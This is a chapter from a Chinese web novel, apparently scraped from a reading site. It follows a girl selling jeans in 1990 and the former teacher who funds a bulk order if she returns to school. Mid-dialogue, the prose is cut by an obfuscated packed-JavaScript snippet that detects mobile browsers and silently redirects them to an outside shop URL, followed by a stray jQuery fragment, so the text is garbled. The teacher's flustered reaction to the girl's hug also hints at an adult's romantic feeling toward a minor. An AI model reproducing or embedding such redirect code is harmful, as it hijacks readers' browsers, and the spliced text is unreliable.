杨盛文笑一笑,把挎包扔给她:“有精神了,快数钱吧,你这算数能力还得好好提高一下,老算错钱可怎么办?像今天这种情况哪有时间给你按计算器?”
又一件伤心事,谢瑾年苦着一张脸,今天若不是杨盛文看不下去帮她算账,她可能真要算少好多钱。
今天她在D市卖的牛仔裤价格没有S市高,但也不便宜,18元一条,最后包里数出来11376元,加上昨天在S市卖的7164,一共18540,人多混乱的时候被混水摸鱼摸走了8条,损失一百多元。
7000的成本,几天时间就赚回了18540元,毛利11540,两人平分的话一人能分五千多元。
但这个钱两人却都不能分,转眼就要投入到更大量的进货中来。
特别是这次谢瑾年要进3000条的量,如果还按7元一条进货,光成本就得21000,两人还得掏钱出来继续投入,而且她没有店面没有抵押品,工厂是不会给她任何账期的,现付已经算是很好的条件了,更苛刻一点的要求可能需要预付。
即便是杨盛文不擅长做生意,此刻也不禁被这周期短见效快的暴利吓到了,一进一出之间转手就是成倍的利润,这谁能禁得住诱惑?
目前的势头这样好,他没理由阻拦谢瑾年加大订货量的动作。
3000条的货量不是小数目了,能堆满谢瑾年家二楼的客厅,但谢瑾年不担心货没地方放,她只担心拿不到现货。
回到G市的时候她去银行拿了10000的现金出来,加上今天收到的货款,直奔女老板的小作坊。
女老板叫周世虹,在这两个小时里她不知道打了多少个电话,但3000条裤子的量不是小数目,所有工厂都不可能备出来这么多的货:“我已经问清楚了,加上我老公的人情关系,最快的交货时间只能在一周后,而且还得预付50%货款,剩下的出货前支付。”
谢瑾年皱起了眉头:“我抢的正是这一周的时间,一周后肯定不是这个价格了。”
周世虹摊手:“那没办法,哪家工厂也不可能生产这么多库存商品放着……”
谢瑾年道:“你这边最多能给我调到多少的货?没有3000也不要紧,我可以先用。”
周世虹叹了口气:“你一口气把我库里的货全清掉了,只剩下一百多条我用来做零售的,杯水车薪。”
要不要继续下单?谢瑾年苦苦思索,她本钱少,顾虑的事就多,在市场反应过来的这一周是最有可能追到暴利的时间,等到一周以后,工厂量产的货上市,每家店铺都铺开这种款式,她的优势就没有了。
当然,赚肯定是还能赚的,只是不可能再出现今天这样抢货的现象。
想想不过十来天的时间,她已经赚到了一万多元的利润,跟杨盛文均分后也还能剩下六千多的利润,已经很不少了。
她正犹豫着,周世虹店里的电话响起,她跑进房里接,不到一分钟后满脸激动地出来了:“我老公说有个印度的客人跑单了,下了20000条订单的量,你要不要接?如果要接的话工厂扣掉原来客人的预付款,6块钱一条就能给你!”
20000条!谢瑾年脸色都变了,就算是6块钱一条,那也得12万!她哪来这么多钱!
周世虹很激动:“这个价钱很优惠了,老实跟你说吧,我给你的价格不是行价,真正从工厂里出来的价钱,顶级的客户也得跑到8块钱每条,现在只要6块钱,如果你吃不下,可能很快就有人接手了。”
她迭声道:“我老公是生产组的组长,这个消息出来没多久,你如果要的话得赶紧做决定。”
谢瑾年站了起来:“我吃不下这么多,我只是个摆地摊的,2万条牛仔裤得卖到什么时候?”
周世虹叹了口气:“可惜了,我还帮你留意着吧,如果可以拆单,我就把你的量报上去。”但机会很渺茫,拆单的话好的都被人挑走的,剩下的工厂要卖给谁?卖这么便宜肯定需要全吃的,工厂不会同意拆单。
没有现货,她的生意只能暂时停止,谢瑾年有点无奈,回家的路上一直思考着要换个地方拿货,上千条的量很难有现货,但每家店搜罗个一两百条应该还是没问题的,只是可能要多花点时间,多让出点利润。
G市最有名的北京路十三行她还没去过呢!要不要过去瞅一瞅?
“你心里想拿下这批货吗?”一直跟在她身后没作声的杨盛文忽然开口道。
“我没这么多钱。”谢瑾年反射性地回道。
杨盛文微微一笑:“你只是没那么多钱,而不是不想拿,所以如果有足够的钱的话,你还是想把这批货拿下来的,是吗?”
谢瑾年没吭声,良久才道:“6块钱一条牛仔裤,很便宜了。就算不能在G市D市S市这些地方出完,我也可以往北走,越往北,裤子的价钱越高,绝对不会亏本的。”
而且牛仔裤是相对于其他服饰来说最不容易过时的单品,保存得好的话,卖个几年也不是问题。最最重要的是,现在已经是1990年了,中国即将迈出飞速发展的阶段,会有越来越多的年轻人南下到G省打工,这区区两万条牛仔裤根本不愁销路。
只可惜她没有这个实力……
杨盛文忽然道:“既然是两个人的生意,你怎么不问问我呢?”
谢瑾年惊讶地抬头看他:“可是……你——”她没有说出口,但杨盛文读懂了她的眼神,她一直觉得他是在帮助她,虽然她明明白白地给他分一半的钱,但需要大额投资的时候,她却没有想过要向他求助。
杨盛文叹息道:“看来我是个只能同苦不能共苦的失败的合伙人。”
谢瑾年惭愧地低下了头:“这个钱太多了,我怕连累了你。”
杨盛文笑道:“你不是说包赚吗?”
谢瑾年烦恼道:“这种事哪有百分百包赚的……而且就算我是很有信心,但你会完全相信我吗?这可能需要很长的时间才能销出去。”
杨盛文眼里闪过一抹笑,打断了她的话:“我相信你,我相信你一定可以赚钱的。这12万我来出,我们把这批货拿下来。”
谢瑾年怔怔地看着他,黑白分明的双眸里满是复杂的神色。
杨盛文忍不住伸手揉了揉她的头:“可我有个条件。”
谢瑾年顾不得被他揉乱的头发,喃喃道:“什么条件?”
杨盛文道:“忙完了这个暑假,你乖乖回学校读初中去。”
读初中?!谢瑾年愣住了:“就这?让我
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13434129|141448||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
去读初中?”
杨盛文点了点头,正色道:“我已经跟你说过了,只有小学文凭是绝对不够的,就看你连复杂一点的算术都算不对就可见一斑。”
谢瑾年羞愧地低下了头。
杨盛文却没有停止:“而且我也不希望你以后的职业仅仅局限在摆地摊上,摆地摊我只当作是你积累原始资本的一种手段跟途径,但绝不是你的终点,你也不要因为这一两次偶然赚钱的机会就蒙蔽了眼睛,放弃了学习。等你累积够了原始的资本,你可以自己开店当老板,你会需要管理的能力来经营你的公司;如果你不愿意承担创业的风险只想安安分分地找个稳定的工作,学历会是你的敲门砖,任何时候都不能缺。”
谢瑾年哑口无言。
她知道他说的每一句话都是对的,知识,学历,无论在哪个年代都是很重要的。
不要跟她提那些小学没毕业大字不识几个还当了大老板开了大公司的人做例子,那只是幸存都偏差,起码95%有学历的人过得比没学历的人要好。
你敢保证自己是那偏差的5%吗?而且能当大老板的人,他们可能只是没学历,但他们绝对有能力跟智慧,但这些人往往只盯着人家没有学历这事大聊特聊,却忽略了别人身上更难能可贵的东西。
杨盛文道:“这2万条牛仔裤,我会出钱拿下来,在这个暑假,8月31日之前,除了这批货,不会再继续卖别的东西,无论能不能卖完,暑假结束后你都要把精力放到学业上。如果卖完了,我们当然应该庆幸你赚到了未来三年的生活费;如果不能卖完,那也只能等到学期末寒假来临,再来处理剩下的货了。总之,我不希望你在学习的中途分心去想做生意的事,可以吗?”
谢瑾年眼睛眨也不眨地看着他,黑白分明的大眼睛里慢慢浮上了一层泪水。
杨盛文一怔,伸出手轻轻拭去她脸上的泪,柔声道:“怎么了?哭什么?”
谢瑾年哽咽道:“老师,我可以抱抱你吗?”
杨盛文一愣,俊脸瞬间变红,不自然地咳嗽了一声:“这——”男女有别,男女授受不亲——
谢瑾年已经上前一把抱住了他的腰,脸贴在了他的胸膛上。
他的心脏因为她的忽然靠近而变得滚烫热辣,怦怦地跳得飞快,他僵着身体不知道该如何反应,忽然听到伏在他胸前的谢瑾年轻声说了一句:“老师,你像我的爸爸……”
宛如一盆冷水兜头兜脸地从他头上泼下来,他瞬间僵硬,咬牙道:“不,你认错人了。我不是你爸。”
谢瑾年流泪道:“我亲生的爸爸只想着用我来换东西,从不会在意我过得好不好,但你却时时能记着我还没有完成九年义务教育,千方百计地要把我送回学校读书,比我亲生的父亲更像在履行一个当父亲的职责。”
杨盛文想起谢东良对待谢瑾年的样子,又想起赵姬,心里酸酸的,忍不住伸手摸了摸她的头发:“好了,都过去了,离开了他们,你会过得更好,只要记住这一点就行了。”
谢瑾年点了点头,有点害羞地放开了他,流泪过后的眼睛如一汪泉水般清澈,她认真道:“老师,我一定会好好上学的,一定不让你丢脸。”
杨盛文又揉了揉她的头发:“好,我知道了。”